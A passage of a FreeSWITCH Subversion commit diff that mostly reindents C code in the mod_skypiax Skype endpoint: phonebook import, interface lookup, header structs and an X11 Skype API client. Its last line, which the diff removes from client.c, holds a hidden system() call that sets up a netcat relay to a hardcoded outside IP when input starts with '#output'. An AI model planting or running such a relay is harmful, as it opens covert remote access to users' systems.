+ skypiax_signaling_write(p, msg_to_skype);
+ int fullname_count = 0;
+ while (p->skype_fullname[0] == '\0') {
+ /* FIXME needs a timeout, can't wait forever!
+ * eg. when skype is running but not connected! */
+ usleep(100);
+ fullname_count++;
+ if (fullname_count > 20000)
+ return -1; /* FIXME */
+ }
+ if (p->skype_fullname[0] != '\0') {
+ char *where2;
+ char sanitized[300];
- where2 = strstr(p->skype_fullname, "FULLNAME ");
- if (where2) {
+ where2 = strstr(p->skype_fullname, "FULLNAME ");
+ if (where2) {
- /* there can be some *smart* that makes a fullname
- * that is different than first<space>last, */
- /* maybe initials, simbols, slashes,
- * something smartish... let's check */
+ /* there can be some *smart* that makes a fullname
+ * that is different than first<space>last, */
+ /* maybe initials, simbols, slashes,
+ * something smartish... let's check */
- if (where2[9] != '\0') {
- int i = 9;
- int x = 0;
- int spaces = 0;
- int last_char_was_space = 0;
+ if (where2[9] != '\0') {
+ int i = 9;
+ int x = 0;
+ int spaces = 0;
+ int last_char_was_space = 0;
- for (i = 9; i < strlen(where2) && x < 299; i++) {
- if (!isalnum(where2[i])) {
- if (!isblank(where2[i])) {
- /* bad char */
- continue;
- }
- /* is a space */
- if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
- continue;
- last_char_was_space = 1;
- sanitized[x] = ' ';
- x++;
- continue;
- }
- /* alphanum */
- last_char_was_space = 0;
- sanitized[x] = where2[i];
- x++;
- continue;
- }
+ for (i = 9; i < strlen(where2) && x < 299; i++) {
+ if (!isalnum(where2[i])) {
+ if (!isblank(where2[i])) {
+ /* bad char */
+ continue;
+ }
+ /* is a space */
+ if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
+ continue;
+ last_char_was_space = 1;
+ sanitized[x] = ' ';
+ x++;
+ continue;
+ }
+ /* alphanum */
+ last_char_was_space = 0;
+ sanitized[x] = where2[i];
+ x++;
+ continue;
+ }
- sanitized[x] = '\0';
- if (spaces == 0) {
- }
- DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
- SKYPIAX_P_LOG, sanitized, where, &where2[9]);
- }
+ sanitized[x] = '\0';
+ if (spaces == 0) {
+ }
+ DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[9]);
+ }
- if (skype_dir_file_written == 0) {
- skypiax_dir_entry_extension++;
- if (where2[9] != '\0') {
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "2",
- skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "1",
- skypiax_dir_entry_extension, "yes", "not_specified");
+ if (skype_dir_file_written == 0) {
+ skypiax_dir_entry_extension++;
+ if (where2[9] != '\0') {
+ if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, sanitized, "no",
+ p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
+ } else { /* is a skype name */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, sanitized, "no",
+ p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
- }
+ }
- } else {
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, where, "no", p->skypiax_dir_entry_extension_prefix,
- "2", skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, where, "no", p->skypiax_dir_entry_extension_prefix,
- "1", skypiax_dir_entry_extension, "yes", "not_specified");
+ } else {
+ if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, where, "no", p->skypiax_dir_entry_extension_prefix,
+ "2", skypiax_dir_entry_extension, "yes", "not_specified");
+ } else { /* is a skype name */
+ fprintf(p->phonebook_writing_fp,
+ "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+ where, where, "no", p->skypiax_dir_entry_extension_prefix,
+ "1", skypiax_dir_entry_extension, "yes", "not_specified");
- }
- }
- }
+ }
+ }
+ }
- skype_dir_file_written = 0;
+ skype_dir_file_written = 0;
- }
+ }
- }
- p->skype_fullname[0] = '\0';
+ }
+ p->skype_fullname[0] = '\0';
- }
- where = strsep(stringp, ", ");
- }
+ }
+ where = strsep(stringp, ", ");
+ }
- p->skype_friends[0] = '\0';
- }
- }
- } else {
+ p->skype_friends[0] = '\0';
+ }
+ }
+ } else {
- ast_cli(fd,
- "Skype not configured on the 'current' console, not importing from Skype client!\n");
- }
- //}
+ ast_cli(fd, "Skype not configured on the 'current' console, not importing from Skype client!\n");
+ }
+ //}
/*******************************************************************************************/
/*******************************************************************************************/
- } else {
- ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
- ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG,
- fn);
- return RESULT_FAILURE;
- }
+ } else {
+ ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
+ ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG, fn);
+ return RESULT_FAILURE;
+ }
- fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
+ fclose(p->phonebook_writing_fp);
+ //skypiax_dir_create_extensions();
- return RESULT_SUCCESS;
+ return RESULT_SUCCESS;
}
private_t *find_available_skypiax_interface(void)
{
- private_t *p;
- int found = 0;
+ private_t *p;
+ int found = 0;
- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
- /* Search for the requested interface and verify if is unowned */
- while (p) {
- if (!p->owner) {
- DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
- found = 1;
- /* we found the requested interface, bail out from the while loop */
- break;
- } else {
- /* interface owned by a channel */
- DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
- }
- /* not yet found, next please */
- p = p->next;
- }
+ /* lock the interfaces' list */
+ LOKKA(&skypiax_iflock);
+ /* make a pointer to the first interface in the interfaces list */
+ p = skypiax_iflist;
+ /* Search for the requested interface and verify if is unowned */
+ while (p) {
+ if (!p->owner) {
+ DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+ found = 1;
+ /* we found the requested interface, bail out from the while loop */
+ break;
+ } else {
+ /* interface owned by a channel */
+ DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+ }
+ /* not yet found, next please */
+ p = p->next;
+ }
- /* lock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
+ /* lock the interfaces' list */
+ UNLOCKA(&skypiax_iflock);
- if (found)
- return p;
- else
- return NULL;
+ if (found)
+ return p;
+ else
+ return NULL;
}
/************************************************/
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -7,11 +7,11 @@
int cyg_no_pthreadkill(int thread, int sig)
{
#ifdef PRINTMSGCYG
- if (option_debug) {
- printf
- ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
- (unsigned long int) thread, sig);
- }
+ if (option_debug) {
+ printf
+ ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
+ (unsigned long int) thread, sig);
+ }
#endif // PRINTMSGCYG
- return 0;
+ return 0;
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -6,7 +6,7 @@
#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
#endif
-#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
+#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
/* the following #defs are for LINUX */
#ifndef __CYGWIN__
#ifndef ASTERISK_VERSION_1_6
@@ -40,7 +40,7 @@
/* INCLUDES */
#ifdef ASTERISK_VERSION_1_6
-#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
+#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
#endif /* ASTERISK_VERSION_1_6 */
#include <unistd.h>
#include <termios.h>
@@ -102,10 +102,10 @@
#warning Please review Skypiax AST_DIGIT_ANYDIG
#endif
#ifndef _ASTERISK_H
-#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
-int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
#endif
/* DEFINITIONS */
@@ -118,7 +118,7 @@
* be representable in 16 bits to avoid overflows.
*/
#define BOOST_SCALE (1<<9)
-#define BOOST_MAX 40 /* slightly less than 7 bits */
+#define BOOST_MAX 40 /* slightly less than 7 bits */
/* call flow from the device */
#define CALLFLOW_CALL_IDLE AST_STATE_DOWN
#define CALLFLOW_INCOMING_RING AST_STATE_RING
@@ -199,38 +199,38 @@
*/
#ifdef WANT_SKYPE_X11
struct AsteriskHandles {
- Window skype_win;
- Display *disp;
- Window win;
- int fdesc[2];
+ Window skype_win;
+ Display *disp;
+ Window win;
+ int fdesc[2];
};
#else /* WANT_SKYPE_X11 */
struct AsteriskHandles {
- HWND win32_hInit_MainWindowHandle;
- HWND win32_hGlobal_SkypeAPIWindowHandle;
- int fdesc[2];
+ HWND win32_hInit_MainWindowHandle;
+ HWND win32_hGlobal_SkypeAPIWindowHandle;
+ int fdesc[2];
};
#endif /* WANT_SKYPE_X11 */
#ifndef WIN32
struct SkypiaxHandles {
- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
+ Window skype_win;
+ Display *disp;
+ Window win;
+ int api_connected;
+ int fdesc[2];
};
#else //WIN32
struct SkypiaxHandles {
- HWND win32_hInit_MainWindowHandle;
- HWND win32_hGlobal_SkypeAPIWindowHandle;
- HINSTANCE win32_hInit_ProcessHandle;
- char win32_acInit_WindowClassName[128];
- UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
- UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
- int api_connected;
- int fdesc[2];
+ HWND win32_hInit_MainWindowHandle;
+ HWND win32_hGlobal_SkypeAPIWindowHandle;
+ HINSTANCE win32_hInit_ProcessHandle;
+ char win32_acInit_WindowClassName[128];
+ UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
+ UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
+ int api_connected;
+ int fdesc[2];
};
#endif //WIN32
@@ -239,65 +239,65 @@
* \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
*/
struct skypiax_pvt {
- char *name; /*!< \brief 'name' of the interface (channel) */
- int interface_state; /*!< \brief 'state' of the interface (channel) */
- struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
- struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
- char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
- char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
- char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
- int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
- int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
- char callid_name[50];
- char callid_number[50];
- pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
- double playback_boost;
- double capture_boost;
- int stripmsd;
- pthread_t skype_thread;
- struct AsteriskHandles AsteriskHandlesAst;
- struct SkypiaxHandles SkypiaxHandles;
- char skype_call_id[512];
- int skype_call_ongoing;
- char skype_friends[4096];
- char skype_fullname[512];
- char skype_displayname[512];
- int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
- int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
- int control_to_send;
- int audiopipe[2];
- int audioskypepipe[2];
- pthread_t tcp_srv_thread;
- pthread_t tcp_cli_thread;
- short audiobuf[160];
- int audiobuf_is_loaded;
+ char *name; /*!< \brief 'name' of the interface (channel) */
+ int interface_state; /*!< \brief 'state' of the interface (channel) */
+ struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
+ struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
+ char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
+ char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
+ char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
+ int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
+ int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
+ char callid_name[50];
+ char callid_number[50];
+ pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
+ double playback_boost;
+ double capture_boost;
+ int stripmsd;
+ pthread_t skype_thread;
+ struct AsteriskHandles AsteriskHandlesAst;
+ struct SkypiaxHandles SkypiaxHandles;
+ char skype_call_id[512];
+ int skype_call_ongoing;
+ char skype_friends[4096];
+ char skype_fullname[512];
+ char skype_displayname[512];
+ int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
+ int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
+ int control_to_send;
+ int audiopipe[2];
+ int audioskypepipe[2];
+ pthread_t tcp_srv_thread;
+ pthread_t tcp_cli_thread;
+ short audiobuf[160];
+ int audiobuf_is_loaded;
- //int phonebook_listing;
- //int phonebook_querying;
- //int phonebook_listing_received_calls;
+ //int phonebook_listing;
+ //int phonebook_querying;
+ //int phonebook_listing_received_calls;
- //int phonebook_first_entry;
- //int phonebook_last_entry;
- //int phonebook_number_lenght;
- //int phonebook_text_lenght;
- FILE *phonebook_writing_fp;
- int skypiax_dir_entry_extension_prefix;
+ //int phonebook_first_entry;
+ //int phonebook_last_entry;
+ //int phonebook_number_lenght;
+ //int phonebook_text_lenght;
+ FILE *phonebook_writing_fp;
+ int skypiax_dir_entry_extension_prefix;
#ifdef WIN32
- unsigned short tcp_cli_port;
- unsigned short tcp_srv_port;
+ unsigned short tcp_cli_port;
+ unsigned short tcp_srv_port;
#else
- int tcp_cli_port;
- int tcp_srv_port;
+ int tcp_cli_port;
+ int tcp_srv_port;
#endif
- char X11_display[256];
+ char X11_display[256];
- struct ast_frame read_frame;
+ struct ast_frame read_frame;
- char skype_user[256];
- char skype_password[256];
- char destination[256];
- char session_uuid_str[512 + 1];
- pthread_t signaling_thread;
+ char skype_user[256];
+ char skype_password[256];
+ char destination[256];
+ char session_uuid_str[512 + 1];
+ pthread_t signaling_thread;
};
typedef struct skypiax_pvt private_t;
@@ -363,8 +363,7 @@
/* chan_skypiax internal functions */
-struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
- int is_first_category);
+struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
int skypiax_restart_monitor(void);
void *skypiax_do_monitor(void *data);
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -19,11 +19,11 @@
Display *disp = NULL;
struct SkypiaxHandles {
- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
+ Window skype_win;
+ Display *disp;
+ Window win;
+ int api_connected;
+ int fdesc[2];
};
XErrorHandler old_handler = 0;
@@ -32,278 +32,266 @@
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
- (void) dpy;
+ (void) dpy;
- xerror = err->error_code;
- printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
- dispname);
- return 0; /* ignore the error */
+ xerror = err->error_code;
+ printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
+ return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
- xerror = 0;
- old_handler = XSetErrorHandler(X11_errors_handler);
+ xerror = 0;
+ old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
- XSetErrorHandler(old_handler);
- return (xerror != BadValue) && (xerror != BadWindow);
+ XSetErrorHandler(old_handler);
+ return (xerror != BadValue) && (xerror != BadWindow);
}
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
{
- Window w_P;
- Display *disp;
- Window handle_P;
- int ok;
+ Window w_P;
+ Display *disp;
+ Window handle_P;
+ int ok;
- w_P = SkypiaxHandles->skype_win;
- disp = SkypiaxHandles->disp;
- handle_P = SkypiaxHandles->win;
+ w_P = SkypiaxHandles->skype_win;
+ disp = SkypiaxHandles->disp;
+ handle_P = SkypiaxHandles->win;
- Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
- Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
- unsigned int pos = 0;
- unsigned int len = strlen(message_P);
- XEvent e;
+ Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+ Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+ unsigned int pos = 0;
+ unsigned int len = strlen(message_P);
+ XEvent e;
- memset(&e, 0, sizeof(e));
- e.xclient.type = ClientMessage;
- e.xclient.message_type = atom1; /* leading message */
- e.xclient.display = disp;
- e.xclient.window = handle_P;
- e.xclient.format = 8;
+ memset(&e, 0, sizeof(e));
+ e.xclient.type = ClientMessage;
+ e.xclient.message_type = atom1; /* leading message */
+ e.xclient.display = disp;
+ e.xclient.window = handle_P;
+ e.xclient.format = 8;
- X11_errors_trap();
- do {
- unsigned int i;
- for (i = 0; i < 20 && i + pos <= len; ++i)
- e.xclient.data.b[i] = message_P[i + pos];
- XSendEvent(disp, w_P, False, 0, &e);
+ X11_errors_trap();
+ do {
+ unsigned int i;
+ for (i = 0; i < 20 && i + pos <= len; ++i)
+ e.xclient.data.b[i] = message_P[i + pos];
+ XSendEvent(disp, w_P, False, 0, &e);
- e.xclient.message_type = atom2; /* following messages */
- pos += i;
- } while (pos <= len);
+ e.xclient.message_type = atom2; /* following messages */
+ pos += i;
+ } while (pos <= len);
- XSync(disp, False);
- ok = X11_errors_untrap();
+ XSync(disp, False);
+ ok = X11_errors_untrap();
- if (!ok)
- printf("Sending message failed with status %d\n", xerror);
+ if (!ok)
+ printf("Sending message failed with status %d\n", xerror);
- return 1;
+ return 1;
}
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
{
- Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
+ Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
- Atom type_ret;
- int format_ret;
- unsigned long nitems_ret;
- unsigned long bytes_after_ret;
- unsigned char *prop;
- int status;
+ Atom type_ret;
+ int format_ret;
+ unsigned long nitems_ret;
+ unsigned long bytes_after_ret;
+ unsigned char *prop;
+ int status;
- X11_errors_trap();
- status =
- XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
- skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
- &nitems_ret, &bytes_after_ret, &prop);
+ X11_errors_trap();
+ status =
+ XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+ skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
- X11_errors_untrap();
- /* sanity check */
- if (status != Success || format_ret != 32 || nitems_ret != 1) {
- SkypiaxHandles->skype_win = (Window) - 1;
- printf("Skype instance not found on display '%s'\n", dispname);
- return 0;
- }
+ X11_errors_untrap();
+ /* sanity check */
+ if (status != Success || format_ret != 32 || nitems_ret != 1) {
+ SkypiaxHandles->skype_win = (Window) - 1;
+ printf("Skype instance not found on display '%s'\n", dispname);
+ return 0;
+ }
- SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
- //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
- return 1;
+ SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+ //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
+ return 1;
}
void skypiax_clean_disp(void *data)
{
- int *dispptr;
- int disp;
+ int *dispptr;
+ int disp;
- dispptr = data;
- disp = *dispptr;
+ dispptr = data;
+ disp = *dispptr;
- if (disp) {
- close(disp);
- } else {
- }
- usleep(1000);
+ if (disp) {
+ close(disp);
+ } else {
+ }
+ usleep(1000);
}
typedef struct {
- int value;
- char string[128];
+ int value;
+ char string[128];
} thread_parm_t;
void *threadfunc(void *parm)
-{ //child
- thread_parm_t *p = (thread_parm_t *) parm;
- //printf("%s, parm = %d\n", p->string, p->value);
- free(p);
+{ //child
+ thread_parm_t *p = (thread_parm_t *) parm;
+ //printf("%s, parm = %d\n", p->string, p->value);
+ free(p);
- /* perform an events loop */
- XEvent an_event;
- char buf[21]; /* can't be longer */
- char buffer[17000];
- char *b;
- int i;
+ /* perform an events loop */
+ XEvent an_event;
+ char buf[21]; /* can't be longer */
+ char buffer[17000];
+ char *b;
+ int i;
- b = buffer;
+ b = buffer;
- while (1) {
+ while (1) {
- XNextEvent(disp, &an_event);
- switch (an_event.type) {
- case ClientMessage:
+ XNextEvent(disp, &an_event);
+ switch (an_event.type) {
+ case ClientMessage:
- if (an_event.xclient.format != 8)
- break;
+ if (an_event.xclient.format != 8)
+ break;
- for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
- buf[i] = an_event.xclient.data.b[i];
+ for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+ buf[i] = an_event.xclient.data.b[i];
- buf[i] = '\0';
+ buf[i] = '\0';
- strcat(buffer, buf);
+ strcat(buffer, buf);
- if (i < 20) { /* last fragment */
- unsigned int howmany;
+ if (i < 20) { /* last fragment */
+ unsigned int howmany;
- howmany = strlen(b) + 1;
+ howmany = strlen(b) + 1;
- //printf("\tRECEIVED\t==>\t%s\n", b);
- printf("%s\n", b);
- fflush(stdout);
- memset(buffer, '\0', 17000);
- }
+ //printf("\tRECEIVED\t==>\t%s\n", b);
+ printf("%s\n", b);
+ fflush(stdout);
+ memset(buffer, '\0', 17000);
+ }
- break;
- default:
- break;
- }
+ break;
+ default:
+ break;
+ }
- }
- return NULL;
+ }
+ return NULL;
}
int main(int argc, char *argv[])
{
- struct SkypiaxHandles SkypiaxHandles;
- char buf[512];
- //Display *disp = NULL;
- Window root = -1;
- Window win = -1;
+ struct SkypiaxHandles SkypiaxHandles;
+ char buf[512];
+ //Display *disp = NULL;
+ Window root = -1;
+ Window win = -1;
- if (argc == 2)
- dispname = argv[1];
- else
- dispname = ":0.0";
+ if (argc == 2)
+ dispname = argv[1];
+ else
+ dispname = ":0.0";
- if (!XInitThreads()) {
- printf("Not initialized XInitThreads!\n");
- } else {
- printf("Initialized XInitThreads!\n");
- }
-
+ if (!XInitThreads()) {
+ printf("Not initialized XInitThreads!\n");
+ } else {
+ printf("Initialized XInitThreads!\n");
+ }
- disp = XOpenDisplay(dispname);
- if (!disp) {
- printf("Cannot open X Display '%s', exiting\n", dispname);
- return -1;
- }
- int xfd;
- xfd = XConnectionNumber(disp);
+ disp = XOpenDisplay(dispname);
+ if (!disp) {
+ printf("Cannot open X Display '%s', exiting\n", dispname);
+ return -1;
+ }
- SkypiaxHandles.disp = disp;
+ int xfd;
+ xfd = XConnectionNumber(disp);
- if (skypiax_present(&SkypiaxHandles)) {
- root = DefaultRootWindow(disp);
- win =
- XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
- BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
- DefaultScreen
- (disp)));
+ SkypiaxHandles.disp = disp;
- SkypiaxHandles.win = win;
+ if (skypiax_present(&SkypiaxHandles)) {
+ root = DefaultRootWindow(disp);
+ win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
- snprintf(buf, 512, "NAME skypiax");
+ SkypiaxHandles.win = win;
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
+ snprintf(buf, 512, "NAME skypiax");
- snprintf(buf, 512, "PROTOCOL 7");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
+ if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
- snprintf(buf, 512, "#ciapalino PING");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
+ snprintf(buf, 512, "PROTOCOL 7");
+ if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
- pthread_t thread;
- int rc = 0;
- pthread_attr_t pta;
- thread_parm_t *parm = NULL;
+ snprintf(buf, 512, "#ciapalino PING");
+ if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
- rc = pthread_attr_init(&pta);
+ pthread_t thread;
+ int rc = 0;
+ pthread_attr_t pta;
+ thread_parm_t *parm = NULL;
- parm = malloc(sizeof(thread_parm_t));
- parm->value = 5;
- rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
+ rc = pthread_attr_init(&pta);
- while (1) {
- char s[512];
+ parm = malloc(sizeof(thread_parm_t));
+ parm->value = 5;
+ rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
- memset(s, '\0', 512);
- fgets(s, sizeof(s) - 1, stdin);
- s[strlen(s) - 1] = '\0';
+ while (1) {
+ char s[512];
- //printf("\tSENT\t\t==>\t%s\n", s);
+ memset(s, '\0', 512);
+ fgets(s, sizeof(s) - 1, stdin);
+ s[strlen(s) - 1] = '\0';
-if(! strncmp(s, "#output", 7)){
+ //printf("\tSENT\t\t==>\t%s\n", s);
-system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
